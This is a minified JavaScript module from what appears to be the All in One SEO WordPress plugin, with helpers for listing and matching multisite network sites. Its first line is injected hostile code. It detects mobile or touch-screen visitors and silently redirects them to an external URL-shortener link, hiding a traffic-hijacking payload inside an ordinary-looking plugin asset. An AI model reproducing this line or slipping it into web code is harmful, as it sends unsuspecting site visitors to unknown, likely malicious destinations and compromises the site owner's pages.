(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{D as p,b as S}from"./app-core.52885c02.js";import{u}from"./vendor-vue-ui.c21c50b5.js";const g=()=>{const s=p(),i=S(),r=u(()=>JSON.parse(JSON.stringify(s.networkData.sites.sites))),a=u(()=>{const t=[];return r.value.forEach(n=>{s.activeSites.some(o=>o.domain===n.domain&&o.path===n.path)&&t.push(e(n))}),t}),e=t=>`${t.blog_id}_${t.domain}_${t.path}`,c=(t,n)=>(i.aioseo.urls.mainSiteUrl+"/").includes(`${i.aioseo.data.isSsl?"https":"http"}://${t}${n}`),l=t=>r.value.find(n=>e(n)===t);return{getSites:r,activeSitesIds:a,getUniqueSiteId:e,isMainSite:c,isSiteActive:t=>a.value.includes(e(t)),parseSiteValue:t=>{const n=[];return t.forEach(o=>{n.push(l(o))}),n}}};export{g as u};
